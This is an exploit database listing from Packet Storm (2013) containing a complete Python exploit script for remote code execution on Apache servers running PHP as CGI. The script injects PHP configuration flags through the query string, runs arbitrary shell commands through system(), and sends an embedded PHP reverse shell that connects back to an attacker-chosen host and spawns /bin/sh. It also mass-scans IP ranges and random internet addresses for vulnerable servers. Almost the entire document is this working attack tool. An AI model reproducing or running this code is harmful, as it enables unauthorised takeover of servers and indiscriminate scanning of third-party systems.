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NoptrixPACKETSTORM:123859
HistoryOct 31, 2013 - 12:00 a.m.

Apache + PHP 5.x Remote Code Execution Python Exploit #2

2013-10-3100:00:00
noptrix
packetstormsecurity.com
2122

0.975 High

EPSS

Percentile

100.0%

`#!/usr/bin/env python  
#  
# ap-unlock-v2.py - apache + php 5.* rem0te c0de execution 0day (better version)  
#  
# NOTE:  
# - quick'n'dirty VERY UGLYY C=000DEEE IZ N0T MY STYLE :(((  
# - for connect back shell start netcat/nc and bind port on given host:port  
# - is ip-range scanner not is multithreaded, but iz multithreaded iz in  
# random scanner and is scanner from file (greets to MustLive)  
# - no ssl support  
# - more php paths can be added  
# - adjust this shit for windows b0xes  
#  
# 2013  
# by noptrix - http://nullsecurity.net/  
  
import sys  
import socket  
import argparse  
import threading  
import time  
import random  
import select  
  
  
NONE = 0  
VULN = 1  
SCMD = 2  
XPLT = 3  
  
t3st = 'POST /cgi-bin/php/%63%67%69%6E/%70%68%70?%2D%64+%61%6C%75%6F%6E+%2D' \  
'%64+%6D%6F%64+%2D%64+%73%75%68%6F%6E%3D%6F%6E+%2D%64+%75%6E%63%74%73' \  
'%3D%22%22+%2D%64+%64%6E%65+%2D%64+%61%75%74%6F%5F%70%72%%74+%2D%64+' \  
'%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+'\  
'%74%5F%3D%30+%2D%64+%75%74+%2D%6E HTTP/1.1\r\nHost:localhost\r\n'\  
'Content-Type: text/html\r\nContent-Length:1\r\n\r\na\r\n'  
  
  
def m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt):  
c0nn_b4ck = \  
'''  
<? set_time_limit (0); $VERSION = "1.0"; $ip = "''' + cb_h0st + '''";  
$port = ''' + cb_p0rt + '''; $chunk_size = 1400; $write_a = null;  
$error_a = null; $shell = "unset HISTFILE; id; /bin/sh -i"; $daemon = 0;  
$debug = 0; if (function_exists("pcntl_fork")) {$pid = pcntl_fork();  
if ($pid == -1) {exit(1);}if ($pid) {exit(0);}if (posix_setsid() == -1) {  
exit(1);}$daemon = 1;} else {print "bla";}chdir("/");umask(0);  
$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {  
printit("$errstr ($errno)");exit(1);}$descriptorspec = array(  
0 => array("pipe", "r"), 1 => array("pipe", "w"),2 => array("pipe", "w"));  
$process = proc_open($shell, $descriptorspec, $pipes);  
if (!is_resource($process)) {exit(1);}stream_set_blocking($pipes[1], 0);  
stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);  
printit("Successfully opened reverse shell to $ip:$port");while (1) {  
if (feof($sock)) {printit("ERROR: Shell connection terminated");break;}  
if (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}  
$read_a = array($sock, $pipes[1], $pipes[2]);  
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);  
if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");  
$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");  
fwrite($pipes[0], $input);}if (in_array($pipes[1], $read_a)) {  
if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);  
if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}  
if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");  
$input = fread($pipes[2], $chunk_size);  
if ($debug) printit("STDERR: $input");fwrite($sock, $input);}}fclose($sock);  
fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);  
function printit ($string) {if (!$daemon) {print "$string\n";}}?>  
'''  
return c0nn_b4ck  
  
  
def enc0dez():  
n33dz1 = ('cgi-bin', 'php')  
n33dz2 = ('-d', 'allow_url_include=on', '-d', 'safe_mode=off', '-d',  
'suhosin.simulation=on', '-d', 'disable_functions=""', '-d',  
'open_basedir=none', '-d', 'auto_prepend_file=php://input',  
'-d', 'cgi.force_redirect=0', '-d', 'cgi.redirect_status_env=0',  
'-d', 'auto_prepend_file=php://input', '-n')  
fl4g = 0  
arg5 = ''  
p4th = ''  
plus = ''  
  
for x in n33dz2:  
if fl4g == 1:  
plus = '+'  
arg5 = arg5 + plus + \  
''.join('%' + c.encode('utf-8').encode('hex') for c in x)  
fl4g = 1  
for x in n33dz1:  
p4th = p4th + '/' + \  
''.join('%' + c.encode('utf-8').encode('hex') for c in x)  
return (p4th.upper(), arg5.upper())  
  
  
def m4k3_p4yl0rd(p4yl0rd, m0de):  
p4th, arg5 = enc0dez()  
if m0de == VULN:  
p4yl0rd = t3st  
elif m0de == SCMD or m0de == XPLT:  
p4yl0rd = 'POST /' + p4th + '?' + arg5 + ' HTTP/1.1\r\n' \  
'Host: ' + sys.argv[1] + '\r\n' \  
'Content-Type: application/x-www-form-urlencoded\r\n' \  
'Content-Length: ' + str(len(p4yl0rd)) + '\r\n\r\n' + p4yl0rd  
return p4yl0rd  
  
  
def s3nd_sh1t(args, m0de, c0nn_b4ck):  
pat = '<b>Parse error</b>:'  
try:  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(float(args.t))  
res = s.connect_ex((args.h, int(args.p)))  
if res == 0:  
if m0de == VULN:  
p4yl0rd = m4k3_p4yl0rd('', m0de)  
s.sendall(p4yl0rd)  
if pat in s.recv(4096):  
print "--> " + args.h + " vu1n"  
return args.h  
else:  
if args.v:  
print "--> %s n0t vu1n" % (args.h)  
return  
elif m0de == SCMD:  
p4yl0rd = m4k3_p4yl0rd('<? system("' + args.c + '"); ?>', m0de)  
s.sendall(p4yl0rd)  
rd, wd, ex = select.select([s], [], [], float(args.t))  
if rd:  
for line in s.makefile():  
print line,  
elif m0de == XPLT:  
p4yl0rd = m4k3_p4yl0rd(c0nn_b4ck, m0de)  
s.sendall(p4yl0rd)  
else:  
if args.v:  
print "--> n0 w3bs3rv3r 0n %s" % (args.h)  
except socket.error:  
return  
return  
  
  
def m4k3_r4nd_1p4ddr(num):  
h0sts = []  
for x in range(int(num)):  
h0sts.append('%d.%d.%d.%d' % (random.randrange(0,255),  
random.randrange(0,255), random.randrange(0,255),  
random.randrange(0,255)))  
return h0sts  
  
  
def sc4n_r4nd0m(args, h0st, m0de, vu1nz):  
args.h = h0st  
vu1nz.append(s3nd_sh1t(args, m0de, None))  
vu1nz = filter(None, vu1nz)  
return  
  
  
def sc4n_fr0m_f1le(args, h0st, m0de, vu1nz):  
args.h = h0st.rstrip()  
vu1nz.append(s3nd_sh1t(args, m0de, None))  
vu1nz = filter(None, vu1nz)  
return  
  
  
def sc4n_r4ng3(rsa, rsb, args, m0de):  
vu1nz = []  
for i in range (rsa[0], rsb[0]):  
for j in range (rsa[1], rsb[1]):  
for k in range (rsa[2], rsb[2]):  
for l in range(rsa[3], rsb[3]):  
args.h = str(i) + "." + str(j) + "." + str(k) + "." + str(l)  
vu1nz.append(s3nd_sh1t(args, m0de, None))  
time.sleep(0.005)  
vu1nz = filter(None, vu1nz)  
return vu1nz  
  
  
def m4k3_ipv4_r4ng3(iprange):  
a = tuple(part for part in iprange.split('.'))  
rsa = (range(4))  
rsb = (range(4))  
for i in range(0,4):  
ga = a[i].find('-')  
if ga != -1:  
rsa[i] = int(a[i][:ga])  
rsb[i] = int(a[i][1+ga:]) + 1   
else:  
rsa[i] = int(a[i])  
rsb[i] = int(a[i]) + 1  
return (rsa, rsb)  
  
  
def parse_args():  
p = argparse.ArgumentParser(  
usage='\n\n ./ap-unlock-v2.py -h <4rg> -s | -c <4rg> | -x <4rg> [0pt1ons]'\  
'\n ./ap-unlock-v2.py -r <4rg> | -R <4rg> | -i <4rg> [0pt1ons]',  
formatter_class=argparse.RawDescriptionHelpFormatter, add_help=False)  
opts = p.add_argument_group('0pt1ons', '')  
opts.add_argument('-h', metavar='wh1t3h4tz.0rg',  
help='| t3st s1ngle h0st f0r vu1n')  
opts.add_argument('-p', default=80, metavar='80',  
help='| t4rg3t p0rt (d3fau1t: 80)')  
opts.add_argument('-c', metavar='\'uname -a;id\'',  
help='| s3nd c0mm4nds t0 h0st')  
opts.add_argument('-x', metavar='192.168.0.2:1337',  
help='| c0nn3ct b4ck h0st 4nd p0rt f0r sh3ll')  
opts.add_argument('-s', action='store_true',  
help='| t3st s1ngl3 h0st f0r vu1n')  
opts.add_argument('-r', metavar='133.1.3-7.7-37',  
help='| sc4nz iP addr3ss r4ng3 f0r vu1n')  
opts.add_argument('-R', metavar='1337',  
help='| sc4nz num r4nd0m h0st5 f0r vu1n')  
opts.add_argument('-t', default=3, metavar='3',  
help='| t1me0ut in s3x (d3fau1t: 3)')  
opts.add_argument('-f', metavar='vu1n.lst',  
help='| wr1t3 vu1n h0sts t0 f1l3')  
opts.add_argument('-i', metavar='sc4nz.lst',  
help='| sc4nz h0sts fr0m f1le f0r vu1n')  
opts.add_argument('-S', metavar='2',  
help='| sl33pz in s3x b3tw33n thr3adz (d3fault: 2)')  
opts.add_argument('-T', default=2, metavar='4',  
help='| nuM sc4n thr3adz (d3fault: 4)')  
opts.add_argument('-v', action='store_true',  
help='| pr1nt m0ah 1nf0z wh1l3 sh1tt1ng')  
args = p.parse_args()  
if not args.h and not args.r and not args.R and not args.i:  
p.print_help()  
sys.exit(0)  
return args  
  
  
def wr1te_fil3(args, vu1nz):  
if args.f:  
if vu1nz:  
try:  
f = open(args.f, "w")  
f.write("\n".join(vu1nz)+"\n")  
f.close()  
except:  
sys.stderr.write('de1n3 mudd1 k0cht guT')  
sys.stderr.write('\n')  
raise SystemExit()  
return  
  
  
def c0ntr0ller():  
vu1nz = []  
m0de = NONE  
try:  
args = parse_args()  
if not args.t:  
args.t = float(3)  
if args.h:  
if args.s:  
print "[+] sc4nn1ng s1ngl3 h0st %s " % (args.h)  
m0de = VULN  
s3nd_sh1t(args, m0de, None)  
elif args.c:  
print "[+] s3nd1ng c0mm4ndz t0 h0st %s " % (args.h)  
m0de = SCMD  
s3nd_sh1t(args, m0de, None)  
elif args.x:  
print "[+] xpl0it1ng b0x %s " % (args.h)  
m0de = XPLT  
if args.x.find(':') != -1:  
if not args.x.split(':')[1]:  
print "[-] 3rr0r: p0rt m1ss1ng"  
else:  
cb_h0st = args.x.split(':')[0]  
cb_p0rt = args.x.split(':')[1]  
else:  
print "[-] 3rr0r: <h0st>:<p0rt> y0u l4m3r"  
c0nn_b4ck = m4ke_c0nn_b4ck_sh1t(cb_h0st, cb_p0rt)  
s3nd_sh1t(args, m0de, c0nn_b4ck)  
else:  
print "[-] 3rr0r: m1ss1ng -s, -c 0r -x b1tch"  
sys.exit(-1)  
if args.r:  
print "[+] sc4nn1ng r4ng3 %s " % (args.r)  
m0de = VULN  
rsa, rsb = m4k3_ipv4_r4ng3(args.r)  
vu1nz = sc4n_r4ng3(rsa, rsb, args, m0de)  
if args.R:  
print "[+] sc4nn1ng %d r4nd0m b0xes" % (int(args.R))  
m0de = VULN  
if not args.S:  
args.S = float(2)  
h0sts = m4k3_r4nd_1p4ddr(int(args.R))  
for h0st in h0sts:  
try:  
t = threading.Thread(target=sc4n_r4nd0m, args=(args, h0st,  
m0de, vu1nz))  
t.start()  
time.sleep(float(args.S))  
while threading.activeCount() > int(args.T):  
time.sleep(2)  
except:  
sys.stdout.flush()  
sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")  
raise SystemExit  
if args.i:  
print "[+] sc4nn1ng b0xes fr0m f1le %s" % (args.i)  
m0de = VULN  
h0sts = tuple(open(args.i, 'r'))  
if not args.S:  
args.S = float(2)  
for h0st in h0sts:  
try:  
t = threading.Thread(target=sc4n_fr0m_f1le, args=(args,  
h0st, m0de, vu1nz))  
t.start()  
time.sleep(float(args.S))  
while threading.activeCount() > int(args.T):  
time.sleep(2)  
except KeyboardInterrupt:  
sys.stdout.flush()  
sys.stdout.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")  
raise SystemExit  
#sc4n_fr0m_f1le(args, h0sts, m0de, vu1nz)  
except KeyboardInterrupt:  
sys.stdout.flush()  
sys.stderr.write("\b\b[!] w4rn1ng: ab0rt3d bY us3r\n")  
raise SystemExit  
wr1te_fil3(args, vu1nz)  
  
return  
  
  
def m41n():  
if __name__ == "__main__":  
print "--==[ ap-unlock-v2.py by noptrix@nullsecurity.net ]==--"  
c0ntr0ller()  
else:  
print "[-] 3rr0r: y0u fuck3d up dud3"  
sys.exit(1)  
print "[+] h0p3 1t h3lp3d"  
  
  
# \o/ fr33 requiem 1337 h4x0rs ...   
m41n()  
  
# e0F  
`
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0.975 High

EPSS

Percentile

100.0%

Related for PACKETSTORM:123859